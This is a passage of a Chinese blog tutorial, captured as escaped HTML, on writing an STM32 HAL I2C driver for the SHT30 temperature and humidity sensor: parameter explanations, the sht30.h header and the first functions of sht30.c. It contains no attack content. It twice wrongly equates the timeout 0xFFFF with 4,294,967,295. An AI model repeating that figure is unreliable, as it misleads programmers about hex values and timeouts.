class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003e\u0026amp;hi2c2\u003c/code\u003e:我们使用的是:\u003ccode\u003ehi2c2\u003c/code\u003e,传地址\u003ccode\u003e\u0026amp;hi2c2\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eSHT30_ADDR_WR\u003c/code\u003e:我们宏定义了写的地址,传写的地址\u003ccode\u003e#define SHT30_ADDR_WR (SHT30_ADDR\u0026lt;\u0026lt;1)\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003e(uint8_t*)buf\u003c/code\u003e:我们将需要传的数据保存在\u003ccode\u003ebuf\u003c/code\u003e中\u003c/li\u003e\u003cli\u003e\u003ccode\u003e2\u003c/code\u003e:传\u003ccode\u003e2\u003c/code\u003e个字节,\u003ccode\u003e16\u003c/code\u003e个位\u003c/li\u003e\u003cli\u003e\u003ccode\u003e0xFFFF\u003c/code\u003e超时:\u003ccode\u003e0xFFFF\u003c/code\u003e(4 294 967 295也就是无符号整型所能表示的最大值)\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch4 id=\"HAL-I2C-Master-Receive\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#HAL-I2C-Master-Receive\" class=\"headerlink\" title=\"HAL_I2C_Master_Receive()\"\u003e\u003c/a\u003eHAL_I2C_Master_Receive()\u003c/h4\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e函数原型\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token function\"\u003eHAL_I2C_Master_Receive\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eI2C_HandleTypeDef \u003cspan class=\"token operator\"\u003e*\u003c/span\u003ehi2c\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e DevAddress\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003epData\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e Size\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint32_t\u003c/span\u003e Timeout\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e函数功能:IIC接收数据,从机发送给主机,主机需要将数据通过IIC接收\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e函数参数和HAL_I2C_Master_Transmit()大概是一样的,只是取到的数据保存在pData中。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e使用到的函数参数讲解():\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token function\"\u003eHAL_I2C_Master_Receive\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehi2c2\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e SHT30_ADDR_RD\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e buf\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e SHT30_DATA_SIZE\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xFFFF\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003e\u0026amp;hi2c2\u003c/code\u003e:我们使用的是:\u003ccode\u003ehi2c2\u003c/code\u003e,传地址\u003ccode\u003e\u0026amp;hi2c2\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eSHT30_ADDR_RD\u003c/code\u003e:我们宏定义了读的地址,传读的地址\u003ccode\u003e#define SHT30_ADDR_RD ((SHT30_ADDR\u0026lt;\u0026lt;1) | 0x01)\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003ebuf\u003c/code\u003e:我们将获取到的数据保存在\u003ccode\u003ebuf\u003c/code\u003e中\u003c/li\u003e\u003cli\u003e\u003ccode\u003eSHT30_DATA_SIZE\u003c/code\u003e:宏定义,6个字节\u003ccode\u003e#define SHT30_DATA_SIZE 6\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003e0xFFFF\u003c/code\u003e超时:\u003ccode\u003e0xFFFF\u003c/code\u003e(4 294 967 295也就是无符号整型所能表示的最大值)\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"头文件-sht30-h\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#%E5%A4%B4%E6%96%87%E4%BB%B6-sht30-h\" class=\"headerlink\" title=\"头文件 sht30.h\"\u003e\u003c/a\u003e头文件 \u003ccode\u003esht30.h\u003c/code\u003e\u003c/h3\u003e\u003cp\u003e在头文件中我们提前定义好相关命令与函数原型。\u003c/p\u003e\u003cp\u003e\u003ccode\u003eenum\u003c/code\u003e用于定义枚举类型,它本质上是一种整数类型。\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003eifndef\u003c/span\u003e \u003cspan class=\"token expression\"\u003eINC_SHT30_H_\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003edefine\u003c/span\u003e \u003cspan class=\"token macro-name\"\u003eINC_SHT30_H_\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;stm32f4xx_hal.h\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003edefine\u003c/span\u003e \u003cspan class=\"token macro-name\"\u003eSHT30_ADDR\u003c/span\u003e \u003cspan class=\"token expression\"\u003e\u003cspan class=\"token number\"\u003e0x44\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003edefine\u003c/span\u003e \u003cspan class=\"token macro-name\"\u003eSHT30_ADDR_WR\u003c/span\u003e \u003cspan class=\"token expression\"\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eSHT30_ADDR\u003cspan class=\"token operator\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003edefine\u003c/span\u003e \u003cspan class=\"token macro-name\"\u003eSHT30_ADDR_RD\u003c/span\u003e \u003cspan class=\"token expression\"\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eSHT30_ADDR\u003cspan class=\"token operator\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token operator\"\u003e|\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x01\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003edefine\u003c/span\u003e \u003cspan class=\"token macro-name\"\u003eSHT30_DATA_SIZE\u003c/span\u003e \u003cspan class=\"token expression\"\u003e\u003cspan class=\"token number\"\u003e6\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eenum\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* 软件复位命令 */\u003c/span\u003e SOFT_RESET_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x30A2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* 单次测量模式 命名格式:Repeatability_CS_CMD CS: Clock stretching */\u003c/span\u003e HIGH_ENABLED_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2C06\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e MEDIUM_ENABLED_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2C0D\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e LOW_ENABLED_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2C10\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e HIGH_DISABLED_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2400\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e MEDIUM_DISABLED_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x240B\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e LOW_DISABLED_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2416\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* 周期测量模式 命名格式:Repeatability_MPS_CMD MPS:measurement per second */\u003c/span\u003e HIGH_0_5_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2032\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e MEDIUM_0_5_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2024\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e LOW_0_5_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x202F\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e HIGH_1_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2130\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e MEDIUM_1_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2126\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e LOW_1_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x212D\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e HIGH_2_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2236\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e MEDIUM_2_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2220\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e LOW_2_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x222B\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e HIGH_4_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2334\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e MEDIUM_4_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2322\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e LOW_4_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2329\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e HIGH_10_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2737\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e MEDIUM_10_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2721\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e LOW_10_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x272A\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* 周期测量模式读取数据命令 */\u003c/span\u003e READOUT_FOR_PERIODIC_MODE \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xE000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e SHT30_CMD\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eextern\u003c/span\u003e \u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003esht30_soft_reset\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eextern\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token function\"\u003eSHT30_Init\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eextern\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token function\"\u003eSHT30_Read_Dat\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e dat\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eextern\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token function\"\u003eCheckCrc8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e \u003cspan class=\"token keyword\"\u003econst\u003c/span\u003e message\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e initial_value\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eextern\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token function\"\u003eSHT30_Dat_To_Float\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e \u003cspan class=\"token keyword\"\u003econst\u003c/span\u003e dat\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efloat\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e temperature\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efloat\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e humidity\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003eendif\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* INC_SHT30_H_ */\u003c/span\u003e\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"主要文件-sht30-c\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#%E4%B8%BB%E8%A6%81%E6%96%87%E4%BB%B6-sht30-c\" class=\"headerlink\" title=\"主要文件 sht30.c\"\u003e\u003c/a\u003e主要文件 \u003ccode\u003esht30.c\u003c/code\u003e\u003c/h3\u003e\u003cp\u003e先包含主要的一些头文件\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;stdio.h\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;i2c.h\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;sht30.h\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"发送指令\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#%E5%8F%91%E9%80%81%E6%8C%87%E4%BB%A4\" class=\"headerlink\" title=\"发送指令\"\u003e\u003c/a\u003e发送指令\u003c/h4\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e/** * @brief 向SHT30发送一条指令(16bit) * @param cmd —— SHT30指令(在SHT30_MODE中枚举定义) * @retval 成功返回HAL_OK*/\u003c/span\u003e\u003cspan class=\"token keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"token function\"\u003esht30_send_cmd\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eSHT30_CMD cmd\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e buf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e cmd \u003cspan class=\"token operator\"\u003e\u0026gt;\u0026gt;\u003c/span\u003e \u003cspan class=\"token number\"\u003e8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e cmd\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_I2C_Master_Transmit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehi2c2\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e SHT30_ADDR_WR\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xFFFF\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"复位SHT30\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#%E5%A4%8D%E4%BD%8DSHT30\" class=\"headerlink\" title=\"复位SHT30\"\u003e\u003c/a\u003e复位SHT30\u003c/h4\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e/** * @brief 复位SHT30 * @param none * @retval none*/\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003esht30_soft_reset\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token function\"\u003esht30_send_cmd\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eSOFT_RESET_CMD\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003eHAL_Delay\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"初始化SHT30\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#%E5%88%9D%E5%A7%8B%E5%8C%96SHT30\" class=\"headerlink\" title=\"初始化SHT30\"\u003e\u003c/a\u003e初始化SHT30\u003c/h4\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-C\" data-language=\"C\"\u003e\u003ccode class=\"language-C\"\u003e/** * @brief 初始化SHT30 * @param none * @retval 成功返回HAL_OK * @note 周期测量模式*/uint8_t SHT30_Init(void) {return sht30_send_cmd(MEDIUM_2_CMD);}\u003cspan aria-hidden=\"true\" 